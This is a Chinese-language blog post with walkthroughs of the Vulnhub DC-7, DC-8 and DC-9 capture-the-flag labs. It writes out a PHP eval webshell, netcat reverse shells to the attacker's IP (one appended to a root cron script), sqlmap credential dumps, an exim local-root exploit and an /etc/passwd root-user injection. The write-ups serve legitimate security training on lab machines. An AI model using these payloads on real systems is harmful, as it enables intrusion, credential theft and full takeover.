赞
踩
Vulnhub靶机介绍
Vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行练习,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
靶机DC7还是只有拿到root权限才可以发现最终的flag。
靶机环境下载:https://www.vulnhub.com/entry/dc-7,356/
常规扫描
arp-scan -l
端口扫描
使用nmap对目标靶机开放的端口进行扫描
nmap -Pn -n -sV 192.168.75.159
开启了ssh(22端口),web服务(80端口)
web服务是drupal 8
这个CMS和DC-1是一样的,DC-1是drupal 7这个是drupal 8
根据网站信息社工
重新查看题目信息,发现有一些提示
这个题目源自一个早期版本
在网站首页上比以前系列的题目多了一行信息<span class="label label-primary">@DC7USER#CTL{n}#CTL{n}
搜索<span class="label label-primary">@DC7USER发现在GitHub上有这个账户#CTL{n}#CTL{n}
进入后发现一个staffdb项目,在项目中发现一个带有账户信息的文件
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
看代码是个数据库账号,但是目前没有可以登录数据库的接口,尝试用这个账户登录web,失败,登录ssh成功
获得web账户
查询用户的sudo配置,搜索suid程序都没有找到能有效提权的方法
在home目录下有个mbox文件,和一些备份文件
看一下mbox文件发现在/opt/scripts/ 有个可以执行的脚本文件 backups.sh
cd /opt/scripts/ #进入目录
cat backups.sh #查看文件
里面调用了drush命令,drush是drupal shell专门管理drupal站点的shell
进入到/var/www/html目录下,使用drush命令修改admin用户的密码为123456
drush user-password admin —password=”123456”
使用admin账户登录成功
反弹shell
需要反弹shell,登入成功后在Content—>Add content–>Basic page下需要添加一个PHP模板
但是这里好像不支持php只有html,查了查需要单独安装插件让它支持php语言
https://www.drupal.org/project/php #插件下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz #模块包
有个绿色✔就是成功
然后在首页进行编辑,添加php木马代码,保存text format设置为PHP cod然后使用蚁剑进行连接
<?php
<span class="label label-primary">@eval($_REQUEST[8]);#CTL{n}?</span>>
然后需要把shell回弹到kali上面
nc 192.168.75.150 4444 -e /bin/sh
开启监听nc -lvp 4444回弹成功
设置交互python -c ‘import pty;pty.spawn(“/bin/bash”)’
在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
因为sh文件是root执行的,所以返回的也是root权限
echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.150 7777 >/tmp/f” >> backups.sh
Kali设置nc -lvp 7777
等待定时任务执行,执行后便获得rootshell,接着进入交互shell
python -c “import pty;pty.spawn(‘/bin/bash’)”
Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。
靶场部署
Vulnhub官网:https://www.vulnhub.com
下载地址:https://www.vulnhub.com/entry/dc-8,367/
直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本);
解压会得到一个.ova的文件,然后在VMware中打开即可;
信息收集
nmap 192.168.75.0/24
nmap -A -sV -p- -T4 192.168.75.160
-A 代表综合性扫描,能收集到很多重要信息
-sV 代表扫描主要的服务信息
-p- 扫描全部端口
扫描到靶机开放了22和80端口,使用的是Drupal(版本是7.x)的cms,还有一个robots协议
目录扫描(我使用的是dirsearch工具),扫描到一个登录界面
SQL注入
既然扫描到了80端口,那就直接访问一下
点击左侧的Details
发现一处可能存在数据交互的地方,参数nid
添加单引号报错
sqlmap一把梭
查数据库:d7db
sqlmap -u “http://192.168.75.160/?nid=1“ —dbs —batch
查表:users
sqlmap -u “http://192.168.75.160/?nid=1“ -D d7db -tables —batch
查表数据
sqlmap -u “http://192.168.75.160/?nid=1“ -D d7db -T users —dump
密码破解
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
密码密文得到了,但是却不知道怎么破解呀!john这个用户名看起来似乎有点眼熟,记起来john是一个密码破解的工具
那就应该是要用john工具来爆破密码了
将得到的账户名和密码放到文本文件中
得到john用户的密码为turtle
admin用户的密码破解失败
反弹shell
使用得到的账户名和密码登录后台
发现Content->点击edit->点击WEBFORM->点击Form settings->点击下拉框选择PHP code
<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.75.150 4444")
?>
其中必须要有能显示的文字才能执行php代码
因为该内容是在用户提交数据后显示的内容,如果没有能显示的内容,则这一部分内容将不会被引用,那么代码也就不会执行
Kali监听4444端口,在Contact Us页面随便输入信息点击Submit后,查看Kali已得到shell
提权
python -c “import pty;pty.spawn(‘/bin/bash’)”
使用命令查看是否有suid提权的命令
find / -user root -perm -4000 -print 2>/dev/null
exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限
查看其版本,发现是4.89
/usr/sbin/exim4 —version
使用searchsploit来寻找版本漏洞
searchsploit exim 4
然后把46996.sh拷贝到本地并改名为wi11.sh,并在kali开启http服务 service apache2 start
cp /usr/share/exploitdb/exploits/linux/local/46996.sh wi11.sh
cat wi11.sh
cp wi11.sh /var/www/html
需要进入/tmp 路径下(不然没有权限,无法下载)
然后给权限:chmod 777 wi11.sh
./wi11.sh -m netcat #执行脚本
提权失败
原因是:shell.sh文件的格式为dos格式,linux只能执行格式为unix格式的脚本。
使用set ff=unix : 告诉 vim 编辑器,使用unix换行符,不然会无法执行脚本。
所以修改一下攻击机目录下的shell脚本,在脚本最后加上 :set ff=unix
然后在靶机中重新下载脚本,赋予权限,执行脚本,提权成功,得到最终的flag!
可以多尝试几次,虽然成功了,但是很不稳定,过了一会就又变成www-data
可以趁root权限的时候用nc反弹shell维持稳定
标签:SQL注入、本地文件包含LFI、端口敲门、hydra爆破、linux提权
0x00 环境准备
下载地址:https://www.vulnhub.com/entry/dc-9,412/
1.探测靶机地址
命令:arp-scan -l
靶机地址:192.168.75.161
2.探测靶机开放端口
命令:nmap -sV -p- 192.168.75.161
开放了22(filtered)和80端口,但是22端口被过滤了,那就先看一下80端口
插件没有识别到web指纹
在search菜单下有个提交框,可能存在POST注入
Burp Suite测一下
接下来用SQLmap进行遍历
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 —dbs
1.Staff数据库
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 -D Staff —tables
查看数据表,命令:
StaffDetails表:
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 -D Staff -T StaffDetails —columns
Users表:
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 -D Staff -T Users —dump
StaffDetails表:
Users表:
密码的加密方式应该是md5
得到了admin的账号和密码admin\transorbital1
2.users数据库
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 -D users —tables
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 -D users -T UserDetails —dump
在UserDetails表中发现了很多账号密码
用管理账号登陆网站后台
使用admin账户登录之后,登录首页提示找不到文件,怀疑存在文件读取漏洞
这里猜测文件参数是file
如下说明:
如果你有一台公网可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
换句话说,如果知道自定义的端口,逐个进行敲门,这样我们就能够开启SSH端口,从而进行连接,所以利用LFI来查看knock.conf文件配置,得到自定义端口
现在看一下/etc/knockd.conf文件中的自定义端口
有3个自定义端口,分别是:7469,8475,9842
依次访问这三个端口就可以打开SSH服务了
nmap -p 7469 192.168.75.161
nmap -p 8475 192.168.75.161
nmap -p 9842 192.168.75.161
现在看一下ssh端口,命令:nmap -p 22 192.168.75.161
open!
sql注入的时候,拿到了很多用户名和密码,把它们分别保存
然后使用hydra进行ssh爆破。命令:hydra -L user.txt -P pass.txt -t 10 ssh://192.168.75.161
使用”-l”选项指定单个登录名,使用”-p”选项指定单个密码。使用”-L”选项指定一个文件来指定多个登录名,使用”-P”选项指定一个文件来指定多个密码,”-t”表示使用线程。
爆破出来3个账号:chandlerb \ UrAG0D!、joeyt \ Passw0rd、janitor \ Ilovepeepee
登录SSH(注意应该使用ls -la查看隐藏文件或目录),发现只有janitor用户存在隐藏可读文件
ssh janitor<span class="label label-primary">@192.168.75.161#CTL{n}#CTL{n}
这个文件看起来是一个存放密码的文件,将密码复制到pass.txt中,再次使用hydra进行爆破
爆破出了一个新的账号:fredf \ B4-Tru3-001
登陆到fredf账号,查看下fredf的sudo权限,发现可以NOPASSWD执行root权限的文件
sudo -l
查看发现test是一个python文件
使用命令:find / -name test.py 2>/dev/null查找python文件,进行查看
该文件需要传入三个参数,这三个参数都是文件,传入三个参数后,会读取第二个文件,然后将第二个文件的内容追加到第三个文件里。
既然这样,我们就可以利用这个程序向/etc/passwd文件后追加一个拥有root权限的账户,也就是说把/etc/passwd文件设置为第三个参数,而第二个参数由我们自己创建,这个文件里是拥有root权限账户的信息,第一个参数随便写一个就好。
我们先使用openssl来创建第二个参数文件中的内容
命令:sudo openssl passwd -1 -salt hacker password
这条命令的意思是创建一个用户名为hacker,密码为password的用户
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
修改后的值:hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0::/root:/bin/bash
echo ‘hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0::/root:/bin/bash’ >> /tmp/passwd
sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd
切换到新添加的账户,提权成功
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。